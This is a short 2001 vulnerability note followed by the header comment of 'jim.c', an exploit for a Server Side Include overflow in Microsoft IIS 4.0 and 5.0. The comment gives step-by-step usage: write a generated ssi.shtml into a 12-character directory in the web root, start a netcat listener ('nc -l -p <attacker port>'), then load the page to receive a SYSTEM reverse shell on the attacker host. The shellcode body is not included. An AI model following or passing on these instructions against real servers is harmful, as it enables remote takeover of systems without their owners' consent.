A vulnerability exists in Microsoft IIS 4.0 and 5.0 that could allow a user with permission to write content to the IIS server to run any code in Local System context.

/*	jim.c - IIS Server Side Include exploit by
Indigo <indig0@talk21.com> 2001

	Usage: jim <attacker host> <attacker port>

	This code has been compiled and tested
on Linux and Win32

	To exploit this vulnerability you must have
write access to the web root of the
	target web server. This program will
generate a file called ssi.shtml.
	Create a directory in the web root whose
name is 12 characters long (this is important!)
	eg. ssi_overflow then put this file into the
new directory. Start up a netcat listener:

	nc -l -p <attacker port> -vv

    	Access the file
http://target/ssi_overflow/ssi.shtml using a web
browser.
	N.B. I have had problems using Netscape
to do this but IE works fine.

	A SYSTEM shell will appear in the Netcat
session.

	You may need to hit return a few times to
get the prompt up.

	Main shellcode adapted from jill.c by dark
spyrit <dspyrit@beavuh.org>

	Greets to:

Monkfish...Not forgetting D-Niderlunds
